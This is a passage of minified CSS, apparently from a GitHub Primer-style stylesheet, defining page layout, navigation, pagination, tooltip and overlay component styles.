[class^=PageLayout-content-centered-]>[class^=container-]{margin-left:0}.PageLayout.PageLayout--panePos-end [class^=PageLayout-content-centered-]>[class^=container-]{margin-right:0}.PageLayout .PageLayout-content-centered-sm{--Layout-content-width: 544px}.PageLayout .PageLayout-content-centered-md{--Layout-content-width: 768px}.PageLayout .PageLayout-content-centered-lg{--Layout-content-width: 1012px}.PageLayout .PageLayout-content-centered-xl{--Layout-content-width: 1280px}}@media(min-width: 768px)and (min-width: 544px){.PageLayout{--Layout-pane-width: 220px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout{--Layout-pane-width: 296px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 240px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 320px}}@media(min-width: 768px)and (min-width: 1280px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 336px}}@media(max-width: 767.98px){.PageLayout.PageLayout--responsive-stackRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content" "pane"}.PageLayout.PageLayout--responsive-stackRegions.PageLayout--responsive-panePos-start{--Layout-template-areas: "pane" "content"}.PageLayout.PageLayout--responsive-separateRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content{--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content .PageLayout-pane{display:none}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane{--Layout-template-areas: "pane"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .PageLayout-content{display:none}.PageLayout .PageLayout-region--dividerNarrow-line-before{position:relative;margin-top:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-before::before{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);top:calc(-1px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-line-after{position:relative;margin-bottom:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-after::after{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);bottom:calc(-1px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before{position:relative;margin-top:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before::after{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);top:calc(-8px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after{position:relative;margin-bottom:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after::before{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);bottom:calc(-8px - var(--Layout-row-gap))}}.PageLayout-wrapper{display:grid;grid:auto-flow/1fr;row-gap:var(--Layout-row-gap)}.PageLayout-columns{display:grid;column-gap:var(--Layout-column-gap);row-gap:var(--Layout-row-gap);grid-template-columns:var(--Layout-template-columns);grid-template-rows:1fr;grid-template-areas:var(--Layout-template-areas)}.PageLayout-columns .PageLayout-content{padding-right:var(--Layout-inner-spacing-max);padding-left:var(--Layout-inner-spacing-max);grid-area:content}.PageLayout-columns .PageLayout-pane{grid-area:pane}.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 16px}@media(min-width: 1012px){.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 24px;--Layout-outer-spacing-y: 24px}}.PageLayout--outerSpacing-condensed{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 16px}.PageLayout--innerSpacing-normal{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}@media(min-width: 1012px){.PageLayout--innerSpacing-normal{--Layout-inner-spacing-max: 24px}}.PageLayout--innerSpacing-condensed{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}.PageLayout--columnGap-normal{--Layout-column-gap: 16px}@media(min-width: 1012px){.PageLayout--columnGap-normal{--Layout-column-gap: 24px}}.PageLayout--columnGap-condensed{--Layout-column-gap: 16px}.PageLayout--columnGap-none{--Layout-column-gap: 0px}.PageLayout--rowGap-normal{--Layout-row-gap: 16px}@media(min-width: 1012px){.PageLayout--rowGap-normal{--Layout-row-gap: 24px}}.PageLayout--rowGap-none{--Layout-row-gap: 0px}.PageLayout--rowGap-condensed{--Layout-row-gap: 16px}.PageLayout-header,.PageLayout-content,.PageLayout-pane,.PageLayout-footer{padding:var(--Layout-inner-spacing-min)}.Link{color:var(--color-accent-fg)}.Link:hover{text-decoration:underline;cursor:pointer}.Link:focus,.Link:focus-visible{outline-offset:0}.Link--primary{color:var(--color-fg-default) !important}.Link--primary:hover{color:var(--color-accent-fg) !important}.Link--secondary{color:var(--color-fg-muted) !important}.Link--secondary:hover{color:var(--color-accent-fg) !important}.Link--muted{color:var(--color-fg-muted) !important}.Link--muted:hover{color:var(--color-accent-fg) !important;text-decoration:none}.Link--onHover:hover{color:var(--color-accent-fg) !important;text-decoration:underline;cursor:pointer}.Link--secondary:hover [class*=color-fg],.Link--primary:hover [class*=color-fg],.Link--muted:hover [class*=color-fg]{color:inherit !important}.menu{margin-bottom:16px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.menu-item{position:relative;display:block;padding:8px 16px;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-item:first-child{border-top:0;border-top-left-radius:6px;border-top-right-radius:6px}.menu-item:first-child::before{border-top-left-radius:6px}.menu-item:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.menu-item:last-child::before{border-bottom-left-radius:6px}.menu-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.menu-item:active{background-color:var(--color-canvas-subtle)}.menu-item.selected,.menu-item[aria-selected=true],.menu-item[aria-current]:not([aria-current=false]){cursor:default;background-color:var(--color-menu-bg-active)}.menu-item.selected::before,.menu-item[aria-selected=true]::before,.menu-item[aria-current]:not([aria-current=false])::before{position:absolute;top:0;bottom:0;left:0;width:2px;content:"";background-color:var(--color-primer-border-active)}.menu-item .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted);text-align:center}.menu-item .Counter{float:right;margin-left:4px}.menu-item .menu-warning{float:right;color:var(--color-attention-fg)}.menu-item .avatar{float:left;margin-right:4px}.menu-item.alert .Counter{color:var(--color-danger-fg)}.menu-heading{display:block;padding:8px 16px;margin-top:0;margin-bottom:0;font-size:inherit;font-weight:600;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-heading:hover{text-decoration:none}.menu-heading:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.menu-heading:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.tabnav{margin-top:0;margin-bottom:16px;border-bottom:1px solid var(--color-border-default)}.tabnav-tabs{display:flex;margin-bottom:-1px;overflow:auto}.tabnav-tab{display:inline-block;flex-shrink:0;padding:8px 16px;font-size:14px;line-height:23px;color:var(--color-fg-muted);text-decoration:none;background-color:transparent;border:1px solid transparent;border-bottom:0;transition:color .2s cubic-bezier(0.3, 0, 0.5, 1)}.tabnav-tab.selected,.tabnav-tab[aria-selected=true],.tabnav-tab[aria-current]:not([aria-current=false]){color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 6px 0 0}.tabnav-tab.selected .octicon,.tabnav-tab[aria-selected=true] .octicon,.tabnav-tab[aria-current]:not([aria-current=false]) .octicon{color:inherit}.tabnav-tab:hover{color:var(--color-fg-default);text-decoration:none;transition-duration:.1s}.tabnav-tab:focus,.tabnav-tab:focus-visible{border-radius:6px 6px 0 0 !important;outline-offset:-6px}.tabnav-tab:active{color:var(--color-fg-muted)}.tabnav-tab .octicon{margin-right:4px;color:var(--color-fg-muted)}.tabnav-tab .Counter{margin-left:4px;color:inherit}.tabnav-extra{display:inline-block;padding-top:10px;margin-left:10px;font-size:12px;color:var(--color-fg-muted)}.tabnav-extra>.octicon{margin-right:2px}a.tabnav-extra:hover{color:var(--color-accent-fg);text-decoration:none}.tabnav-btn{margin-left:8px}.filter-list{list-style-type:none}.filter-list.small .filter-item{padding:6px 12px;font-size:12px}.filter-list.pjax-active .filter-item{color:var(--color-fg-muted);background-color:transparent}.filter-list.pjax-active .filter-item.pjax-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item{position:relative;display:block;padding:8px 16px;margin-bottom:4px;overflow:hidden;font-size:14px;color:var(--color-fg-muted);text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;border-radius:6px}.filter-item:hover{text-decoration:none;background-color:var(--color-canvas-subtle)}.filter-item.selected,.filter-item[aria-selected=true],.filter-item[aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item.selected:focus,.filter-item[aria-selected=true]:focus,.filter-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item.selected:focus:not(:focus-visible),.filter-item[aria-selected=true]:focus:not(:focus-visible),.filter-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.filter-item.selected:focus-visible,.filter-item[aria-selected=true]:focus-visible,.filter-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item .count{float:right;font-weight:600}.filter-item .bar{position:absolute;top:2px;right:0;bottom:2px;z-index:-1;display:inline-block;background-color:var(--color-neutral-subtle)}.SideNav{background-color:var(--color-canvas-subtle)}.SideNav-item{position:relative;display:block;width:100%;padding:12px 16px;color:var(--color-fg-default);text-align:left;background-color:transparent;border:0;border-top:1px solid var(--color-border-muted)}.SideNav-item:first-child{border-top:0}.SideNav-item:last-child{box-shadow:0 1px 0 var(--color-border-default)}.SideNav-item::before{position:absolute;top:0;bottom:0;left:0;z-index:1;width:2px;pointer-events:none;content:""}.SideNav-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.SideNav-item:active{background-color:var(--color-canvas-subtle)}.SideNav-item[aria-current]:not([aria-current=false]),.SideNav-item[aria-selected=true]{background-color:var(--color-sidenav-selected-bg)}.SideNav-item[aria-current]:not([aria-current=false])::before,.SideNav-item[aria-selected=true]::before{background-color:var(--color-primer-border-active)}.SideNav-icon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.SideNav-subItem{position:relative;display:block;width:100%;padding:4px 0;color:var(--color-accent-fg);text-align:left;background-color:transparent;border:0}.SideNav-subItem:hover{color:var(--color-fg-default);text-decoration:none}.SideNav-subItem[aria-current]:not([aria-current=false]),.SideNav-subItem[aria-selected=true]{font-weight:500;color:var(--color-fg-default)}.subnav{margin-bottom:20px}.subnav::before{display:table;content:""}.subnav::after{display:table;clear:both;content:""}.subnav-bordered{padding-bottom:20px;border-bottom:1px solid var(--color-border-muted)}.subnav-flush{margin-bottom:0}.subnav-item{position:relative;float:left;padding:5px 16px;font-weight:500;line-height:20px;color:var(--color-fg-default);border:1px solid var(--color-border-default)}.subnav-item+.subnav-item{margin-left:-1px}.subnav-item:hover,.subnav-item:focus{text-decoration:none;background-color:var(--color-canvas-subtle)}.subnav-item.selected,.subnav-item[aria-selected=true],.subnav-item[aria-current]:not([aria-current=false]){z-index:2;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.subnav-item.selected:focus,.subnav-item[aria-selected=true]:focus,.subnav-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.subnav-item.selected:focus:not(:focus-visible),.subnav-item[aria-selected=true]:focus:not(:focus-visible),.subnav-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.subnav-item.selected:focus-visible,.subnav-item[aria-selected=true]:focus-visible,.subnav-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.subnav-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.subnav-item:last-child{border-top-right-radius:6px;border-bottom-right-radius:6px}.subnav-search{position:relative;margin-left:12px}.subnav-search-input{width:320px;padding-left:32px;color:var(--color-fg-muted)}.subnav-search-input-wide{width:500px}.subnav-search-icon{position:absolute;top:9px;left:8px;display:block;color:var(--color-fg-muted);text-align:center;pointer-events:none}.subnav-search-context .btn{border-top-right-radius:0;border-bottom-right-radius:0}.subnav-search-context .btn:hover,.subnav-search-context .btn:focus,.subnav-search-context .btn:active,.subnav-search-context .btn.selected{z-index:2}.subnav-search-context+.subnav-search{margin-left:-1px}.subnav-search-context+.subnav-search .subnav-search-input{border-top-left-radius:0;border-bottom-left-radius:0}.subnav-search-context .select-menu-modal-holder{z-index:30}.subnav-search-context .select-menu-modal{width:220px}.subnav-search-context .select-menu-item-icon{color:inherit}.subnav-spacer-right{padding-right:12px}.UnderlineNav{display:flex;min-height:48px;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:auto;justify-content:space-between}.UnderlineNav .Counter{margin-left:8px;color:var(--color-fg-default);background-color:var(--color-neutral-muted)}.UnderlineNav .Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.UnderlineNav-body{display:flex;align-items:center;gap:8px;list-style:none}.UnderlineNav-item{position:relative;display:flex;padding:0 8px;font-size:14px;line-height:30px;color:var(--color-fg-default);text-align:center;white-space:nowrap;cursor:pointer;background-color:transparent;border:0;border-radius:6px;align-items:center}.UnderlineNav-item:hover,.UnderlineNav-item:focus,.UnderlineNav-item:focus-visible{color:var(--color-fg-default);text-decoration:none;border-bottom-color:var(--color-neutral-muted);outline-offset:-2px;transition:border-bottom-color .12s ease-out}.UnderlineNav-item [data-content]::before{display:block;height:0;font-weight:600;visibility:hidden;content:attr(data-content)}.UnderlineNav-item::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:48px;content:"";transform:translateX(-50%) translateY(-50%)}@media(pointer: fine){.UnderlineNav-item:hover{color:var(--color-fg-default);text-decoration:none;background:var(--color-action-list-item-default-hover-bg);transition:background .12s ease-out}}.UnderlineNav-item.selected,.UnderlineNav-item[role=tab][aria-selected=true],.UnderlineNav-item[aria-current]:not([aria-current=false]){font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-primer-border-active);outline-offset:-8px}.UnderlineNav-item.selected::after,.UnderlineNav-item[role=tab][aria-selected=true]::after,.UnderlineNav-item[aria-current]:not([aria-current=false])::after{position:absolute;right:50%;bottom:calc(50% - 25px);width:100%;height:2px;content:"";background:var(--color-primer-border-active);border-radius:6px;transform:translate(50%, -50%)}.UnderlineNav--right{justify-content:flex-end}.UnderlineNav--right .UnderlineNav-actions{flex:1 1 auto}.UnderlineNav-actions{align-self:center}.UnderlineNav--full{display:block}.UnderlineNav--full .UnderlineNav-body{min-height:48px}.UnderlineNav-octicon{display:inline !important;margin-right:8px;color:var(--color-fg-muted);fill:var(--color-fg-muted)}.UnderlineNav-container{display:flex;justify-content:space-between}.pagination a,.pagination span,.pagination em{min-width:32px;padding:5px 10px;font-style:normal;line-height:20px;color:var(--color-fg-default);text-align:center;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid transparent;border-radius:6px;transition:border-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.pagination a:hover,.pagination a:focus,.pagination span:hover,.pagination span:focus,.pagination em:hover,.pagination em:focus{text-decoration:none;border-color:var(--color-border-default);transition-duration:.1s}.pagination a:active,.pagination span:active,.pagination em:active{border-color:var(--color-border-muted);transition:none}.pagination .previous_page,.pagination .next_page{color:var(--color-accent-fg)}.pagination .current,.pagination .current:hover,.pagination [aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:transparent}.pagination .gap,.pagination .disabled,.pagination [aria-disabled=true],.pagination .gap:hover,.pagination .disabled:hover,.pagination [aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default;border-color:transparent}@supports((-webkit-clip-path: polygon(50% 0, 100% 50%, 50% 100%)) or (clip-path: polygon(50% 0, 100% 50%, 50% 100%))){.pagination .previous_page::before,.pagination .next_page::after{display:inline-block;width:16px;height:16px;vertical-align:text-bottom;content:"";background-color:currentColor}.pagination .previous_page::before{margin-right:4px;-webkit-clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px);clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px)}.pagination .next_page::after{margin-left:4px;-webkit-clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px);clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px)}}.pagination>*{display:none}.pagination>:first-child,.pagination>:last-child,.pagination>.previous_page,.pagination>.next_page{display:inline-block}@media(min-width: 544px){.pagination>:nth-child(2),.pagination>:nth-last-child(2),.pagination>.current,.pagination>.gap{display:inline-block}}@media(min-width: 768px){.pagination>*{display:inline-block}}.paginate-container{margin-top:16px;margin-bottom:16px;text-align:center}.paginate-container .pagination{display:inline-block}.tooltipped{position:relative}.tooltipped::after{position:absolute;z-index:1000000;display:none;padding:.5em .75em;font:normal normal 11px/1.5 -apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";-webkit-font-smoothing:subpixel-antialiased;color:var(--color-fg-on-emphasis);text-align:center;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-wrap:break-word;white-space:pre;pointer-events:none;content:attr(aria-label);background:var(--color-neutral-emphasis-plus);border-radius:6px;opacity:0}.tooltipped::before{position:absolute;z-index:1000001;display:none;width:0;height:0;color:var(--color-neutral-emphasis-plus);pointer-events:none;content:"";border:6px solid transparent;opacity:0}@keyframes tooltip-appear{from{opacity:0}to{opacity:1}}.tooltipped:hover::before,.tooltipped:hover::after,.tooltipped:active::before,.tooltipped:active::after,.tooltipped:focus::before,.tooltipped:focus::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:.4s}.tooltipped-no-delay:hover::before,.tooltipped-no-delay:hover::after,.tooltipped-no-delay:active::before,.tooltipped-no-delay:active::after,.tooltipped-no-delay:focus::before,.tooltipped-no-delay:focus::after{animation-delay:0s}.tooltipped-multiline:hover::after,.tooltipped-multiline:active::after,.tooltipped-multiline:focus::after{display:table-cell}.tooltipped-s::after,.tooltipped-se::after,.tooltipped-sw::after{top:100%;right:50%;margin-top:6px}.tooltipped-s::before,.tooltipped-se::before,.tooltipped-sw::before{top:auto;right:50%;bottom:-7px;margin-right:-6px;border-bottom-color:var(--color-neutral-emphasis-plus)}.tooltipped-se::after{right:auto;left:50%;margin-left:-16px}.tooltipped-sw::after{margin-right:-16px}.tooltipped-n::after,.tooltipped-ne::after,.tooltipped-nw::after{right:50%;bottom:100%;margin-bottom:6px}.tooltipped-n::before,.tooltipped-ne::before,.tooltipped-nw::before{top:-7px;right:50%;bottom:auto;margin-right:-6px;border-top-color:var(--color-neutral-emphasis-plus)}.tooltipped-ne::after{right:auto;left:50%;margin-left:-16px}.tooltipped-nw::after{margin-right:-16px}.tooltipped-s::after,.tooltipped-n::after{transform:translateX(50%)}.tooltipped-w::after{right:100%;bottom:50%;margin-right:6px;transform:translateY(50%)}.tooltipped-w::before{top:50%;bottom:50%;left:-7px;margin-top:-6px;border-left-color:var(--color-neutral-emphasis-plus)}.tooltipped-e::after{bottom:50%;left:100%;margin-left:6px;transform:translateY(50%)}.tooltipped-e::before{top:50%;right:-7px;bottom:50%;margin-top:-6px;border-right-color:var(--color-neutral-emphasis-plus)}.tooltipped-align-right-1::after,.tooltipped-align-right-2::after{right:0;margin-right:0}.tooltipped-align-right-1::before{right:10px}.tooltipped-align-right-2::before{right:15px}.tooltipped-align-left-1::after,.tooltipped-align-left-2::after{left:0;margin-left:0}.tooltipped-align-left-1::before{left:5px}.tooltipped-align-left-2::before{left:10px}.tooltipped-multiline::after{width:max-content;max-width:250px;word-wrap:break-word;white-space:pre-line;border-collapse:separate}.tooltipped-multiline.tooltipped-s::after,.tooltipped-multiline.tooltipped-n::after{right:auto;left:50%;transform:translateX(-50%)}.tooltipped-multiline.tooltipped-w::after,.tooltipped-multiline.tooltipped-e::after{right:100%}.tooltipped-sticky::before,.tooltipped-sticky::after{display:inline-block}.tooltipped-sticky.tooltipped-multiline::after{display:table-cell}.css-truncate.css-truncate-overflow,.css-truncate .css-truncate-overflow,.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{display:inline-block;max-width:125px;vertical-align:top}.css-truncate.expandable.zeroclipboard-is-hover .css-truncate-target,.css-truncate.expandable.zeroclipboard-is-hover.css-truncate-target,.css-truncate.expandable:hover .css-truncate-target,.css-truncate.expandable:hover.css-truncate-target{max-width:10000px !important}.Truncate{display:inline-flex;min-width:0;max-width:100%}.Truncate>.Truncate-text{min-width:1ch;max-width:-moz-fit-content;max-width:fit-content;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.Truncate>.Truncate-text+.Truncate-text{margin-left:4px}.Truncate>.Truncate-text.Truncate-text--primary{flex-basis:200%}.Truncate>.Truncate-text.Truncate-text--expandable:hover,.Truncate>.Truncate-text.Truncate-text--expandable:focus,.Truncate>.Truncate-text.Truncate-text--expandable:active{max-width:100% !important;flex-shrink:0;cursor:pointer}.Overlay--hidden{display:none !important}.Overlay--visibilityHidden{height:0;overflow:hidden;visibility:hidden;opacity:0}.Overlay{display:flex;min-width:192px;flex-direction:column;background-color:var(--color-canvas-overlay);border-radius:.75rem;box-shadow:var(--color-overlay-shadow);opacity:1}.Overlay.Overlay--height-auto{height:auto}.Overlay.Overlay--height-xsmall{height:min(192px,100% - 2rem)}.Overlay.Overlay--height-small{height:min(256px,100% - 2rem)}.Overlay.Overlay--height-medium{height:min(320px,100% - 2rem)}.Overlay.Overlay--height-large{height:min(432px,100% - 2rem)}.Overlay.Overlay--height-xlarge{height:min(600px,100% - 2rem)}.Overlay.Overlay--width-auto{width:auto}.Overlay.Overlay--width-small{width:min(256px,100% - 2rem)}.Overlay.Overlay--width-medium{width:min(320px,100% - 2rem)}.Overlay.Overlay--width-large{width:min(480px,100% - 2rem)}.Overlay.Overlay--width-xlarge{width:min(640px,100% - 2rem)}.Overlay.Overlay--width-xxlarge{width:min(960px,100% - 2rem)}@media screen and (prefers-reduced-motion: no-preference){.Overlay.Overlay--motion-scaleFade{animation:200ms cubic-bezier(0.33, 1, 0.68, 1) 0s 1 normal none running Overlay--motion-scaleFade}}@keyframes Overlay--motion-scaleFade{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.Overlay-form{display:flex;overflow:auto;flex-direction:column;flex-grow:1}.Overlay-header{z-index:1;display:flex;flex-direction:column}.Overlay-header.Overlay-header--divided{padding-bottom:8px;box-shadow:inset 0 -1px var(--color-border-default)}.Overlay-header.Overlay-header--divided+.Overlay-body{padding-top:16px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap{gap:8px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{font-size:20px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{font-size:14px}.Overlay-header .Overlay-headerContentWrap{display:flex;align-items:flex-start;gap:8px;padding:8px 8px 0 8px}.Overlay-header .Overlay-headerContentWrap .Overlay-actionWrap{display:flex;flex-direction:row;gap:8px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap{display:flex;padding:6px 0 6px 8px;flex-direction:column;flex-grow:1;gap:4px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{margin:0;font-size:14px;font-weight:600}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.Overlay-body{padding:16px;padding-top:0;overflow-y:auto;scrollbar-width:thin;font-size:14px;flex-grow:1}.Overlay-body.Overlay-body--paddingCondensed{padding:8px;padding-top:0}.Overlay-body.Overlay-body--paddingNone{padding:0}.Overlay-footer{z-index:1;display:flex;padding:0 16px 16px 16px;flex-direction:row;flex-shrink:0;flex-wrap:wrap}.Overlay-footer.Overlay-footer--divided{padding-top:16px;box-shadow:inset 0 1px var(--color-border-default)}.Overlay-footer.Overlay-footer--alignStart{justify-content:flex-start;gap:8px}.Overlay-footer.Overlay-footer--alignCenter{justify-content:center;gap:8px}.Overlay-footer.Overlay-footer--alignEnd{justify-content:flex-end;gap:8px}.Overlay-closeButton{position:relative;display:grid;width:32px;height:32px;padding:0;color:var(--color-fg-muted);cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:1px solid transparent;border-radius:6px;transition:.2s cubic-bezier(0.3, 0, 0.5, 1);transition-property:color,background-color,border-color;place-content:center;align-self:flex-start;flex-shrink:0}.Overlay-closeButton:hover,.Overlay-closeButton:focus{background-color:var(--color-btn-hover-bg);border:1px solid var(--color-btn-hover-bg)}.Overlay-backdrop--center{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor{position:absolute;background-color:transparent}.Overlay-backdrop--anchor .Overlay{width:auto}.Overlay-backdrop--side{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left{align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left .Overlay{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-right{align-items:center;justify-content:right}.Overlay-backdrop--side.Overlay-backdrop--placement-right .Overlay{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom{align-items:end;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom .Overlay{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-top{align-items:start;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-top .Overlay{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}@media(max-width: 767.98px){.Overlay-backdrop--center-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor-whenNarrow{position:absolute;background-color:transparent}.Overlay-backdrop--anchor-whenNarrow .Overlay{width:auto}.Overlay-backdrop--side-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow{align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow{align-items:center;justify-content:right}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow 